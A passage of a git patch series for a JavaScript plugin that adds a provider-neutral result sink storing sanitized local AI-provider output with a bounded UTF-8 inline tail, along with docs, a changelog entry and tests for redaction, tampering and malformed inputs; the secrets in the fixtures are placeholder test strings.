+capturedFreeze(openLocalProviderArtifactStoreV1); +capturedFreeze(createLocalProviderResultCollectorV1); +capturedFreeze(collectCliProviderOutputV1); +capturedFreeze(contentFreeSinkFailureV1); +capturedFreeze(localProviderResultIdentityFromTaskV1); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES); From f64a4633f92b3dd56bd3dcf0b58317c6cf038446 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:12:39 +0000 Subject: [PATCH 034/151] feat(provider): retain bounded sanitized inline tails MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Keep a default inline tail of at most 4,096 UTF-8 bytes on the provider-neutral sink receipt, derived through the accepted P10 sanitized bounded reader and aligned on a valid UTF-8 boundary. Tail metadata records inline clipping separately from upstream source_truncated/complete provenance, and the receipt still returns only detached content-free metadata — never raw bytes, secrets, or live handles. --- .../mcp/v3/local-provider-result-sink.mjs | 79 ++++++++++++++++++- 1 file changed, 75 insertions(+), 4 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs index 94a98fc..f01fd5b 100644 --- a/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs +++ b/plugins/codex-co-engineer/mcp/v3/local-provider-result-sink.mjs @@ -8,7 +8,8 @@ // final local Grok ACP, Cursor Local ACP, and DSH ACPX/CLI output into // the accepted P08/P09 raw+sanitized artifact store. It does not sanitize, // store, or range-read on its own: P09 `sanitizeAndPublishArtifactV1` and -// P08 `verifyStoredArtifactV1` remain the publication/verify authorities. +// P08 `verifyStoredArtifactV1` remain the publication/verify authorities, +// and P10 `readSanitizedArtifactV1` is the only model-facing tail reader. // // Contract: // - Exact run_id / assignment_id / provider / model / optional child @@ -20,7 +21,11 @@ // and source_truncated/complete are recorded truthfully. // - Only sanitized artifacts are model-readable. The return is detached // deep-frozen content-free metadata: refs, provenance, digests, counts, -// truncation. Never raw bytes, secrets, prompt text, or live handles. +// truncation, and a default inline tail of at most 4,096 UTF-8 bytes +// derived through the accepted P10 sanitized reader/ref and aligned +// on a valid UTF-8 boundary. Tail metadata distinguishes inline +// clipping from upstream source truncation. Never raw bytes, secrets, +// prompt text, or live handles. // - Empty output is not published and does not invent an artifact. // - Crossing a class cap fails closed rather than clipping toward the cap. // - Publication that does not verify is not reported. @@ -42,6 +47,9 @@ import { artifactRefDigestV1, parseArtifactRefV1, } from './artifact-ref.mjs'; +import { + readSanitizedArtifactV1, +} from './artifact-reader.mjs'; import { ARTIFACT_SANITIZER_SCHEMA_ID, SANITIZER_CONTENT_ENCODING, @@ -80,6 +88,7 @@ export const LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID = export const LOCAL_PROVIDER_RESULT_SINK_VERSION = 1; export const LOCAL_PROVIDER_RESULT_ARTIFACT_KIND = 'provider_report'; export const LOCAL_PROVIDER_RESULT_STORE_DIR = 'artifacts'; +export const LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES = 4_096; export const LOCAL_PROVIDER_RESULT_SINK_PROVIDERS = capturedFreeze([ 'grok', 'cursor-local', 'dsh', @@ -123,6 +132,21 @@ export const LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS = capturedFreeze([ 'complete', 'source_truncated', 'provenance', + 'inline_tail', +]); + +export const LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS = capturedFreeze([ + 'encoding', + 'text', + 'byte_length', + 'offset', + 'max_bytes', + 'inline_clipped', + 'source_truncated', + 'complete', + 'reader_clipped', + 'more', + 'next_offset', ]); export const LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS = capturedFreeze([ @@ -536,10 +560,54 @@ function emptyReceipt(identity, sourceTruncated) { complete: sourceTruncated !== true, source_truncated: sourceTruncated === true, provenance: null, + inline_tail: null, + }); +} + +function utf8BoundaryStart(bytes, fromOffset) { + if (fromOffset === 0) return 0; + let start = 0; + while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start += 1; + return start; +} + +async function readInlineTail(store, provenance) { + const length = provenance.sanitized_byte_length; + const maxBytes = LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES; + const offset = length > maxBytes ? length - maxBytes : 0; + const page = await readSanitizedArtifactV1(store, provenance.sanitized_ref, { + offset, + max_bytes: maxBytes, + }); + const selected = BUFFER_FROM(page.selected_content, 'base64'); + if (selected.byteLength !== page.selected_byte_length) { + failSink('invalid_format', 'inline_tail', + 'The sanitized reader returned a tail whose encoding did not round-trip.'); + } + const start = utf8BoundaryStart(selected, offset); + const aligned = start === 0 ? selected : selected.subarray(start); + const text = aligned.toString('utf8'); + const tailBytes = BUFFER_FROM(text, 'utf8'); + if (tailBytes.byteLength > maxBytes) { + failSink('invalid_format', 'inline_tail', + 'The inline tail exceeded the 4096-byte UTF-8 cap after boundary alignment.'); + } + return freezeData({ + encoding: 'utf8', + text, + byte_length: tailBytes.byteLength, + offset: offset + start, + max_bytes: maxBytes, + inline_clipped: (offset + start) > 0 || tailBytes.byteLength < length, + source_truncated: provenance.source_truncated === true, + complete: provenance.complete === true, + reader_clipped: page.reader_clipped === true, + more: page.more === true, + next_offset: page.next_offset, }); } -function publishedReceipt(identity, mediaType, relativePath, provenance) { +function publishedReceipt(identity, mediaType, relativePath, provenance, inlineTail) { const rawRef = provenance.raw_ref; const sanitizedRef = provenance.sanitized_ref; return freezeData({ @@ -569,6 +637,7 @@ function publishedReceipt(identity, mediaType, relativePath, provenance) { complete: provenance.complete === true, source_truncated: provenance.source_truncated === true, provenance, + inline_tail: inlineTail, }); } @@ -683,7 +752,8 @@ export async function sinkLocalProviderResultV1(store, input) { 'Published provider-result artifacts did not verify; nothing is reported.'); } - return publishedReceipt(identity, mediaType, relativePath, provenance); + const inlineTail = await readInlineTail(store, provenance); + return publishedReceipt(identity, mediaType, relativePath, provenance, inlineTail); } capturedFreeze(sinkLocalProviderResultV1); @@ -695,5 +765,6 @@ capturedFreeze(localProviderResultIdentityFromTaskV1); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS); capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES); From 48c1a1cef1f546fe85eeb1c600dd6692b8bc0471 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 00:21:43 +0000 Subject: [PATCH 035/151] test(provider): cover Grok Cursor and DSH result limits Add deterministic P11 fixtures and normal/adversarial coverage for Grok, Cursor Local, and DSH output forms: direct strings, JSON values, and stream chunks; empty, exact 4096, Unicode-boundary, oversize, and source-truncated tails; proxy/accessor/malformed input; split-token redaction; conflict, tamper, restart, and after-raw sanitized failure; plus injected ACP/CLI worker seams that preserve 3.2.1 result shapes. Record the sink in CHANGELOG and future-work, including ambient umask variance as a recorded fixture note rather than a runtime change. --- CHANGELOG.md | 22 + docs/future-work.md | 21 +- docs/r1-local-provider-result-sink.md | 78 ++++ ...r1-local-provider-result-sink-fixtures.mjs | 121 +++++ ...-provider-result-sink-adversarial.test.mjs | 314 +++++++++++++ .../r1-local-provider-result-sink.test.mjs | 431 ++++++++++++++++++ 6 files changed, 983 insertions(+), 4 deletions(-) create mode 100644 docs/r1-local-provider-result-sink.md create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index f469565..df74959 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,28 @@ ### Added +- **Local provider result sink.** Adds additive v3 + `local-provider-result-sink.mjs` (P11) that routes final local Grok ACP, + Cursor Local ACP, and DSH ACPX/CLI provider output into the accepted + P08/P09 raw+sanitized artifact store through one provider-neutral sink, + binding exact `run_id` / `assignment_id` / `provider` / `model` / optional + child-envelope digest identity into the ArtifactRefV1 path. The complete + transport-available result is stored up to the existing class cap; older + output is never silently discarded, empty results stay unpublished, and a + source that the upstream already clipped is persisted with truthful + `source_truncated` / `complete` provenance. Only sanitized artifacts are + model-readable. The receipt is detached deep-frozen content-free + metadata (raw/sanitized refs, P09 provenance, digests, counts, + truncation) plus a default inline tail of at most 4,096 UTF-8 bytes + derived through the accepted P10 sanitized reader and aligned on a valid + UTF-8 boundary, with inline clipping recorded separately from upstream + truncation. The ACP worker is the only serialized seam: it preserves + 3.2.1 `task.result` / `result_*` and event/terminal shapes, attaches + optional `provider_result_sink` metadata only after provider terminal + publication, and records typed content-free evidence on sink failure + without inventing completion or replaying provider work. Coverage lives + in `test/r1-local-provider-result-sink.test.mjs` and + `test/r1-local-provider-result-sink-adversarial.test.mjs`. - **Atomic raw/sanitized artifact store.** Adds the additive v3 `artifact-store.mjs` module for W4-P08: it binds validated ArtifactRefV1 declarations to real bytes under one caller-supplied existing private store diff --git a/docs/future-work.md b/docs/future-work.md index 1f20fe7..3a5fb96 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -21,10 +21,23 @@ preflight/launch/reconcile/cancel requests and results against the accepted P05 13-field capability bridge. It does not implement Grok, Cursor Local, DSH, or Cursor Cloud transports, registry cutover, scheduler, or durable store; those remain P18/P20/P19/P21 and later -run-runtime work. This worktree does not implement the run runtime, -candidate composition, or `AttentionBatchV1`. Gate A remains the -functional release authority; Gate B context-efficiency and Gate C -credit economics stay advisory. +run-runtime work. + +The P11 local provider result sink is in-tree as an additive +provider-neutral router: final local Grok ACP, Cursor Local ACP, and DSH +ACPX/CLI output is published through the accepted P09 sanitizer and P08 +store, with a P10-derived sanitized inline tail. It does not implement +P12 evidence bundles, supervisor/server MCP registration, cloud-worker +sinks, cleanup, or run runtime. `acp-worker.mjs` is the only serialized +seam; 3.2.1 `task.result` bounding is unchanged. Ambient umask variance +for P08 store-root `mkdtemp` privacy is recorded here and is not +runtime-changed: P11 fixtures `chmod 0700` after creating their own +roots and do not include optional P08 umask test-fixture +determinization. + +This worktree does not implement the run runtime, candidate composition, +or `AttentionBatchV1`. Gate A remains the functional release authority; +Gate B context-efficiency and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits diff --git a/docs/r1-local-provider-result-sink.md b/docs/r1-local-provider-result-sink.md new file mode 100644 index 0000000..8085240 --- /dev/null +++ b/docs/r1-local-provider-result-sink.md @@ -0,0 +1,78 @@ +# Local provider result sink (P11) + +Additive v3 contract over the accepted P09 sanitizer, P08 store, and P10 +sanitized reader. It routes **final** local Grok ACP, Cursor Local ACP, and +DSH ACPX/CLI provider output into raw+sanitized artifact storage through +one provider-neutral sink. It does not replace 3.2.1 +`task.result` / `result_*` bounding. + +## Entry + +```js +sinkLocalProviderResultV1(store, options) +``` + +- `store` is a handle from `openArtifactStoreV1` (or + `openLocalProviderArtifactStoreV1` under a state root). +- `options` is a direct JSON object with only: + - `run_id`, `assignment_id`, `provider`, `model` — exact identity + - `child_envelope_digest` — optional lowercase 64-hex digest + - `source` — string, JSON value, intrinsic Buffer/Uint8Array, or async + iterable of string/byte chunks + - `source_truncated` — optional exact boolean + - `media_type` — optional identity-encoded text media type + +Local providers only: `grok`, `cursor-local`, `dsh`. Cursor Cloud is +denied. Identities are never guessed from `task.id`. + +## Publication + +The sink snapshots the complete transport-available source up to the +existing raw class cap (32 MiB) and publishes through +`sanitizeAndPublishArtifactV1`. Older output is never silently dropped. +Crossing a class cap fails closed rather than clipping toward the cap. If +the upstream/transport was already clipped, available bytes are stored and +`source_truncated` / `complete` are recorded truthfully. + +Empty sources are not published and do not invent an artifact. A +publication that does not verify is not reported. + +Only sanitized artifacts are model-readable. The return is detached +deep-frozen content-free metadata: raw/sanitized `ArtifactRefV1` values, +P09 provenance, digests, redaction counts, truncation, and the inline +tail. Never raw bytes, secrets, prompt text, store roots, or live handles. + +## Inline tail + +After verify, the sink reads the sanitized artifact through +`readSanitizedArtifactV1` and retains at most 4,096 UTF-8 bytes from the +end, aligned on a valid UTF-8 boundary. + +- `inline_clipped` is true when the inline window is shorter than the + sanitized artifact. +- `source_truncated` / `complete` are the P09 provenance facts, never + inferred from the tail length. +- `reader_clipped` is the P10 range/wire fact. + +No secret may appear in the tail: split-token and chunk-boundary redaction +remain P09's. + +## Worker seam + +`acp-worker.mjs` is the only serialized integration. It publishes the +legacy bounded `task.result` first, then attaches optional +`provider_result_sink` metadata. Sink failure after provider terminal is +typed content-free evidence; it does not invent completion, change +provider status, or replay work. Tasks without exact run/child/model +identity keep the 3.2.1 path unchanged. + +Provider completion remains evidence, never acceptance. + +## Non-goals + +P12 evidence bundles, supervisor/server MCP registration, P18/P20 +transports, cleanup, scheduler, cloud-worker sinks, and protected refs +remain unclaimed. This module does not edit `task-store.mjs`. Ambient +umask variance for P08 store-root fixtures is recorded in +[future-work.md](future-work.md); P11 fixtures chmod `0700` after +creation and do not change process umask. diff --git a/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs new file mode 100644 index 0000000..987649a --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs @@ -0,0 +1,121 @@ +// Fixtures for the P11 local provider result sink tests. +// +// Pure data builders, tiny local helpers, and pinned secrets. Store-root +// helpers chmod 0700 after creation and never change process umask. + +import { createHash } from 'node:crypto'; +import { chmodSync, mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, +} from '../../mcp/v3/local-provider-result-sink.mjs'; + +export const RUN_ID = 'run-p11-sink'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; +export const CHILD_C = 'lane-gamma'; + +export const GROK_MODEL = 'grok-code'; +export const CURSOR_MODEL = 'auto'; +export const DSH_MODEL = 'muse-spark-1.2-contributor'; + +export const SECRET = 'sk-live-secret-1234567890'; +export const SPLIT_SECRET = 'sk-split-token-1234567890'; +export const PROMPT_SECRET = 'do not echo this instruction'; +export const REPLACEMENT = '[REDACTED]'; + +export const INLINE_TAIL_MAX = LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeStoreRoot(prefix = 'cce-p11-sink-') { + const root = mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); + chmodSync(root, 0o700); + return root; +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function identityFor(provider, overrides = {}) { + const model = provider === 'dsh' + ? DSH_MODEL + : provider === 'cursor-local' + ? CURSOR_MODEL + : GROK_MODEL; + return { + run_id: RUN_ID, + assignment_id: CHILD_A, + provider, + model, + ...overrides, + }; +} + +export function grokText(suffix = 'VERDICT: GROK PASS') { + return `grok local acp output\n${suffix}`; +} + +export function cursorText(suffix = 'VERDICT: CURSOR PASS') { + return `cursor-local acp output\n${suffix}`; +} + +export function dshObject(suffix = 'VERDICT: DSH OBJECT PASS') { + return { + progress: 'dsh-progress', + nested: { final: suffix }, + }; +} + +export async function* chunksOf(bytes, size = 8) { + const view = Buffer.isBuffer(bytes) ? bytes : Buffer.from(bytes, 'utf8'); + const width = Math.max(1, size); + for (let offset = 0; offset < view.byteLength; offset += width) { + yield view.subarray(offset, Math.min(offset + width, view.byteLength)); + } +} + +export async function* splitStringChunks(text, at) { + yield text.slice(0, at); + yield text.slice(at); +} + +export function exact4096(suffix = 'TAIL') { + const suffixBytes = Buffer.byteLength(suffix, 'utf8'); + const prefix = 'a'.repeat(INLINE_TAIL_MAX - suffixBytes); + return `${prefix}${suffix}`; +} + +export function unicodeSplitWindow() { + const wolf = '🐺'; + const prefix = 'p'.repeat(10); + const suffix = 's'.repeat(4093); + return `${prefix}${wolf}${suffix}`; +} + +export function oversizeTail(suffix = 'VERDICT: OVERSIZE PASS') { + return `${'x'.repeat(5000)}${suffix}`; +} + +export function conflictingSanitizedRef(relativePath, bytes) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'provider_report', + artifact_class: 'sanitized', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + }; +} + +export class SubclassedBytes extends Uint8Array {} diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs new file mode 100644 index 0000000..b6160d9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink-adversarial.test.mjs @@ -0,0 +1,314 @@ +import assert from 'node:assert/strict'; +import { writeFileSync } from 'node:fs'; +import path from 'node:path'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { ARTIFACT_REF_SCHEMA_ID } from '../mcp/v3/artifact-ref.mjs'; +import { publishArtifactV1, openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + contentFreeSinkFailureV1, + sinkLocalProviderResultV1, +} from '../mcp/v3/local-provider-result-sink.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + CHILD_B, + PROMPT_SECRET, + REPLACEMENT, + RUN_ID, + SECRET, + SPLIT_SECRET, + SubclassedBytes, + conflictingSanitizedRef, + digestOf, + grokText, + identityFor, + makeStoreRoot, + removeRoot, + splitStringChunks, +} from './fixtures/r1-local-provider-result-sink-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, secrets) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + for (const secret of secrets) { + assert.equal(message.includes(secret), false, `error leaked ${secret}`); + } +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('proxy accessor and subclassed sources fail closed without running traps', async () => { + await withStore(async (store, root) => { + const { proxy, counts } = countingProxy({ + ...identityFor('grok'), + source: grokText(), + }); + const proxied = await expectCode( + () => sinkLocalProviderResultV1(store, proxy), + 'proxy_denied', + ); + assert.ok(trapTotal(counts) <= 2); + assertContentFree(proxied, root, [SECRET]); + + const sourceProxy = countingProxy(Buffer.from(grokText(), 'utf8')); + const proxiedSource = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source: sourceProxy.proxy, + }), + 'proxy_denied', + 'source', + ); + assertContentFree(proxiedSource, root, [SECRET]); + + const trap = { ran: 0 }; + const accessor = { + ...identityFor('dsh'), + get source() { + trap.ran += 1; + throw new Error(`must not read ${SECRET}`); + }, + }; + const access = await expectCode( + () => sinkLocalProviderResultV1(store, accessor), + 'accessor_property_denied', + 'options.source', + ); + assert.equal(trap.ran, 0); + assertContentFree(access, root, [SECRET]); + + const subclassed = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: new SubclassedBytes(Buffer.from(grokText(), 'utf8')), + }), + 'artifact_stream_invalid_source', + 'source', + ); + assertContentFree(subclassed, root, [SECRET]); + }); +}); + +test('malformed unknown and cloud-provider inputs fail closed', async () => { + await withStore(async (store, root) => { + const unknown = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + extra: true, + }), + 'unknown_key', + ); + assertContentFree(unknown, root, [SECRET]); + + const missing = await expectCode( + () => sinkLocalProviderResultV1(store, { + assignment_id: 'lane-alpha', + provider: 'grok', + model: 'grok-code', + source: grokText(), + }), + 'missing_key', + 'options.run_id', + ); + assertContentFree(missing, root, [SECRET]); + + const cloud = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + provider: 'cursor-cloud', + source: grokText(), + }), + 'local_provider_required', + 'options.provider', + ); + assertContentFree(cloud, root, [SECRET]); + + const badId = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + assignment_id: 'Lane_Nope', + source: grokText(), + }), + 'invalid_format', + 'options.assignment_id', + ); + assertContentFree(badId, root, [SECRET]); + }); +}); + +test('secret splits across chunks never appear in receipts tails or errors', async () => { + await withStore(async (store, root) => { + const body = `work output ${SPLIT_SECRET} and prompt: "${PROMPT_SECRET}"\nVERDICT: SECRET PASS`; + const at = body.indexOf(SPLIT_SECRET) + 8; + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: splitStringChunks(body, at), + }); + const serialized = JSON.stringify(receipt); + assertNoSecret(serialized, root); + assert.equal(receipt.inline_tail.text.includes(SPLIT_SECRET), false); + assert.equal(receipt.inline_tail.text.includes(PROMPT_SECRET), false); + assert.equal(receipt.inline_tail.text.includes(SECRET), false); + assert.match(receipt.inline_tail.text, /VERDICT: SECRET PASS$/u); + assert.match(receipt.inline_tail.text, new RegExp(REPLACEMENT, 'u')); + const page = await readSanitizedArtifactV1(store, receipt.sanitized_ref, { + offset: 0, + max_bytes: 8192, + }); + const sanitized = Buffer.from(page.selected_content, 'base64').toString('utf8'); + assert.equal(sanitized.includes(SPLIT_SECRET), false); + assert.equal(sanitized.includes(PROMPT_SECRET), false); + assert.match(sanitized, /VERDICT: SECRET PASS$/u); + }); +}); + +function assertNoSecret(serialized, root) { + assert.equal(serialized.includes(root), false); + assert.equal(serialized.includes(SPLIT_SECRET), false); + assert.equal(serialized.includes(PROMPT_SECRET), false); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes('private fallback prompt'), false); +} + +test('idempotent restart succeeds and conflicting or tampered artifacts fail closed', async () => { + await withStore(async (store, root) => { + const source = grokText(); + const first = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + const restart = await sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source, + }); + assert.equal(restart.published, true); + assert.equal(restart.raw_digest, first.raw_digest); + assert.equal(restart.sanitized_digest, first.sanitized_digest); + assert.equal(restart.inline_tail.text, first.inline_tail.text); + + const conflict = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('cursor-local'), + source: `${source} different trailing bytes\n`, + }), + 'artifact_content_conflict', + ); + assertContentFree(conflict, root, [SECRET]); + + const other = Buffer.from('tampered sanitized bytes that are not the original\n', 'utf8'); + await publishArtifactV1(store, conflictingSanitizedRef( + `runs/${RUN_ID}/${CHILD_B}/provider-report.txt`, + other, + ), other); + const afterRaw = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('dsh', { assignment_id: CHILD_B }), + source: grokText('VERDICT: AFTER RAW'), + }), + 'artifact_content_conflict', + ); + assertContentFree(afterRaw, root, [SECRET, 'VERDICT: AFTER RAW']); + }); +}); + +test('tamper after publication is not reported as a verified artifact on restart', async () => { + await withStore(async (store, root) => { + const source = grokText('VERDICT: TAMPER PASS'); + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }); + const content = path.join( + store.root, 'sanitized', 'content', receipt.relative_path, + ); + writeFileSync(content, Buffer.alloc(receipt.sanitized_byte_length, 0x62)); + const tampered = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source, + }), + 'artifact_digest_mismatch', + ); + assertContentFree(tampered, root, [SECRET, 'VERDICT: TAMPER PASS']); + }); +}); + +test('content-free sink failure evidence never carries bytes secrets or handles', () => { + const contract = new RunContractV1Error('artifact_content_conflict', 'artifact_ref', + 'Conflicting content at one location is refused.'); + const evidence = contentFreeSinkFailureV1(contract); + assert.equal(evidence.schema, LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID); + assert.equal(evidence.published, false); + assert.deepEqual(Object.keys(evidence), [...LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS]); + assert.equal(evidence.error.code, 'artifact_content_conflict'); + assert.equal(Object.isFrozen(evidence), true); + + const noisy = new Error(`failed to write ${SECRET} at /tmp/not-a-real-store`); + const fallback = contentFreeSinkFailureV1(noisy); + assert.equal(fallback.error.code, 'artifact_sink_failed'); + assert.equal(JSON.stringify(fallback).includes(SECRET), false); + assert.equal(JSON.stringify(fallback).includes('/tmp/not-a-real-store'), false); + assert.equal(utilTypes.isProxy(fallback), false); +}); + +test('string chunk streams that are not intrinsic views still sanitize split tokens', async () => { + await withStore(async (store, root) => { + const text = `prefix ${SECRET} trailing VERDICT: CHUNK PASS`; + const receipt = await sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: splitStringChunks(text, text.indexOf(SECRET) + 4), + }); + const serialized = JSON.stringify(receipt); + assert.equal(serialized.includes(SECRET), false); + assert.equal(serialized.includes(root), false); + assert.match(receipt.inline_tail.text, /VERDICT: CHUNK PASS$/u); + assert.match(receipt.inline_tail.text, new RegExp(REPLACEMENT, 'u')); + }); +}); + +test('sink never echoes a declared digest from a hostile raw ref constructor', async () => { + await withStore(async (store, root) => { + const error = await expectCode( + () => sinkLocalProviderResultV1(store, { + ...identityFor('grok'), + source: grokText(), + media_type: 'application/octet-stream', + }), + 'invalid_format', + 'options.media_type', + ); + assertContentFree(error, root, [SECRET]); + assert.equal(error.message.includes(ARTIFACT_REF_SCHEMA_ID) || error.code === 'invalid_format', true); + assert.equal(digestOf(Buffer.from(grokText(), 'utf8')) === error.message, false); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs new file mode 100644 index 0000000..fce530c --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-local-provider-result-sink.test.mjs @@ -0,0 +1,431 @@ +import assert from 'node:assert/strict'; +import { chmodSync, readFileSync } from 'node:fs'; +import { mkdtemp, mkdir } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { readSanitizedArtifactV1 } from '../mcp/v3/artifact-reader.mjs'; +import { + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES, + LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS, + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS, + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, + LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS, + LOCAL_PROVIDER_RESULT_SINK_PROVIDERS, + LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS, + LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + LOCAL_PROVIDER_RESULT_SINK_VERSION, + collectCliProviderOutputV1, + createLocalProviderResultCollectorV1, + localProviderResultIdentityFromTaskV1, + openLocalProviderArtifactStoreV1, + sinkLocalProviderResultV1, +} from '../mcp/v3/local-provider-result-sink.mjs'; +import { ARTIFACT_SANITIZER_VERSION } from '../mcp/v3/artifact-sanitizer.mjs'; +import { runAcpTask, runCliFallback } from '../mcp/v3/acp-worker.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { createTask, readTask } from '../mcp/v3/task-store.mjs'; +import { + CHILD_B, + CURSOR_MODEL, + DSH_MODEL, + GROK_MODEL, + INLINE_TAIL_MAX, + RUN_ID, + REPLACEMENT, + SECRET, + SPLIT_SECRET, + chunksOf, + cursorText, + dshObject, + exact4096, + grokText, + identityFor, + makeStoreRoot, + oversizeTail, + removeRoot, + splitStringChunks, + unicodeSplitWindow, +} from './fixtures/r1-local-provider-result-sink-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); +const FAKE_AGENT = path.join(HERE, 'acpx-fake-agent.mjs'); +const FAKE_ACPX = path.join(HERE, 'fake-acpx.mjs'); +const FAKE_CLI_TERMINAL_VERDICT = path.join(HERE, 'fake-cli-terminal-verdict.mjs'); + +async function 